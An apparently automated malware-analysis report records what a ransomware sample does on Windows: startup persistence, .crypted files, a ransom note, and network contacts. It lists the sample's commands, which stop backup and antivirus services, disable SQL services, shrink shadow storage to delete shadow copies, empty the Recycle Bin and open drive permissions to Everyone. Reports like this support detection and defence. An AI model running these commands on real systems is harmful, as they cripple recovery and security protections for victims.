Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\mystartup.lnk
Creates the following files on removable media
- <Drive name for removable media>:\3.jpeg.crypted
- <Drive name for removable media>:\2.jpeg.crypted
- <Drive name for removable media>:\region-north-karelia.jpeg.crypted
Malicious functions
To complicate detection of its presence in the operating system,
deletes volume shadow copies.
Executes the following
- '<SYSTEM32>\net.exe' stop avpsus /y
- '<SYSTEM32>\net.exe' stop VeeamNFSSvc /y
- '<SYSTEM32>\net.exe' stop veeam /y
- '<SYSTEM32>\net.exe' stop PDVFSService /y
- '<SYSTEM32>\net.exe' stop BackupExecVSSProvider /y
- '<SYSTEM32>\net.exe' stop BackupExecAgentAccelerator /y
- '<SYSTEM32>\net.exe' stop BackupExecAgentBrowser /y
- '<SYSTEM32>\net.exe' stop BackupExecDiveciMediaService /y
- '<SYSTEM32>\net.exe' stop BackupExecManagementService /y
- '<SYSTEM32>\taskkill.exe' /IM mydesktopqos.exe /F
- '<SYSTEM32>\net.exe' stop BackupExecRPCService /y
- '<SYSTEM32>\net.exe' stop AcrSch2Svc /y
- '<SYSTEM32>\net.exe' stop AcronisAgent /y
- '<SYSTEM32>\net.exe' stop CASAD2DWebSvc /y
- '<SYSTEM32>\net.exe' stop CAARCUpdateSvc /y
- '<SYSTEM32>\net.exe' stop sophos /y
- '<SYSTEM32>\taskkill.exe' /IM mspub.exe /F
- '<SYSTEM32>\net.exe' stop VeeamDeploymentService /y
- '<SYSTEM32>\net.exe' stop BackupExecJobEngine /y
- '<SYSTEM32>\net.exe' stop VeeamTransportSvc /y
- '<SYSTEM32>\net.exe' stop SavRoam /y
- '<SYSTEM32>\net.exe' stop McAfeeDLPAgentService /y
- '<SYSTEM32>\net.exe' stop mfewc /y
- '<SYSTEM32>\net.exe' stop BMR Boot Service /y
- '<SYSTEM32>\net.exe' stop NetBackup BMR MTFTP Service /y
- '<SYSTEM32>\net.exe' stop DefWatch /y
- '<SYSTEM32>\net.exe' stop ccEvtMgr /y
- '<SYSTEM32>\net.exe' stop ccSetMgr /y
- '<SYSTEM32>\net.exe' stop RTVscan /y
- '<SYSTEM32>\net.exe' stop stc_raw_agent /y
- '<SYSTEM32>\net.exe' stop QBFCService /y
- '<SYSTEM32>\net.exe' stop QBIDPService /y
- '<SYSTEM32>\net.exe' stop Intuit.QuickBooks.FCS /y
- '<SYSTEM32>\net.exe' stop QBCFMonitorService /y
- '<SYSTEM32>\net.exe' stop YooBackup /y
- '<SYSTEM32>\net.exe' stop YooIT /y
- '<SYSTEM32>\net.exe' stop zhudongfangyu /y
- '<SYSTEM32>\net.exe' stop VSNAPVSS /y
- '<SYSTEM32>\taskkill.exe' /IM mydesktopservice.exe /F
Modifies file system
Creates the following files
- %TEMP%\pr5d4tza.exe
- %TEMP%\help_me_recover_my_files.txt
Network activity
TCP
- 'google.com':443
- 'ra#.####ubusercontent.com':443
UDP
- DNS ASK google.com
- DNS ASK ra#.####ubusercontent.com
- '<LOCALNET>.24.255':3
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Executes the following
- '<SYSTEM32>\net1.exe' stop avpsus /y
- '<SYSTEM32>\net1.exe' stop AcronisAgent /y
- '<SYSTEM32>\net1.exe' stop CASAD2DWebSvc /y
- '<SYSTEM32>\net1.exe' stop CAARCUpdateSvc /y
- '<SYSTEM32>\net1.exe' stop sophos /y
- '<SYSTEM32>\sc.exe' config SQLTELEMETRY start= disabled
- '<SYSTEM32>\sc.exe' config SQLTELEMETRY$ECWDB2 start= disabled
- '<SYSTEM32>\sc.exe' config SQLWriter start= disabled
- '<SYSTEM32>\sc.exe' config SstpSvc start= disabled
- '<SYSTEM32>\vssvc.exe'
- '<SYSTEM32>\svchost.exe' -k swprv
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=c: /on=c: /maxsize=401MB
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=c: /on=c: /maxsize=unbounded
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=d: /on=d: /maxsize=401MB
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=d: /on=d: /maxsize=unbounded
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=e: /on=e: /maxsize=401MB
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=e: /on=e: /maxsize=unbounded
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=f: /on=f: /maxsize=401MB
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=f: /on=f: /maxsize=unbounded
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=g: /on=g: /maxsize=401MB
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=g: /on=g: /maxsize=unbounded
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=h: /on=h: /maxsize=401MB
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=h: /on=h: /maxsize=unbounded
- '<SYSTEM32>\cmd.exe' /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
- '<SYSTEM32>\arp.exe' -a
- '<SYSTEM32>\icacls.exe' A:\* /grant Everyone:F /T /C /Q
- '<SYSTEM32>\icacls.exe' B:\* /grant Everyone:F /T /C /Q
- '<SYSTEM32>\icacls.exe' D:\* /grant Everyone:F /T /C /Q
- '<SYSTEM32>\net1.exe' stop AcrSch2Svc /y
- '<SYSTEM32>\icacls.exe' E:\* /grant Everyone:F /T /C /Q
- '<SYSTEM32>\net1.exe' stop BackupExecRPCService /y
- '<SYSTEM32>\net1.exe' stop BackupExecJobEngine /y
- '<SYSTEM32>\net1.exe' stop McAfeeDLPAgentService /y
- '<SYSTEM32>\net1.exe' stop mfewc /y
- '<SYSTEM32>\net1.exe' stop BMR Boot Service /y
- '<SYSTEM32>\net1.exe' stop NetBackup BMR MTFTP Service /y
- '<SYSTEM32>\net1.exe' stop DefWatch /y
- '<SYSTEM32>\net1.exe' stop ccEvtMgr /y
- '<SYSTEM32>\net1.exe' stop ccSetMgr /y
- '<SYSTEM32>\net1.exe' stop SavRoam /y
- '<SYSTEM32>\net1.exe' stop RTVscan /y
- '<SYSTEM32>\net1.exe' stop QBFCService /y
- '<SYSTEM32>\net1.exe' stop QBIDPService /y
- '<SYSTEM32>\net1.exe' stop Intuit.QuickBooks.FCS /y
- '<SYSTEM32>\net1.exe' stop QBCFMonitorService /y
- '<SYSTEM32>\net1.exe' stop YooBackup /y
- '<SYSTEM32>\net1.exe' stop YooIT /y
- '<SYSTEM32>\net1.exe' stop zhudongfangyu /y
- '<SYSTEM32>\net1.exe' stop stc_raw_agent /y
- '<SYSTEM32>\net1.exe' stop VSNAPVSS /y
- '<SYSTEM32>\net1.exe' stop VeeamTransportSvc /y
- '<SYSTEM32>\net1.exe' stop VeeamDeploymentService /y
- '<SYSTEM32>\net1.exe' stop VeeamNFSSvc /y
- '<SYSTEM32>\net1.exe' stop veeam /y
- '<SYSTEM32>\net1.exe' stop PDVFSService /y
- '<SYSTEM32>\net1.exe' stop BackupExecVSSProvider /y
- '<SYSTEM32>\net1.exe' stop BackupExecAgentAccelerator /y
- '<SYSTEM32>\net1.exe' stop BackupExecAgentBrowser /y
- '<SYSTEM32>\net1.exe' stop BackupExecDiveciMediaService /y
- '<SYSTEM32>\net1.exe' stop BackupExecManagementService /y
- '<SYSTEM32>\icacls.exe' <Drive name for removable media>:\* /grant Everyone:F /T /C /Q
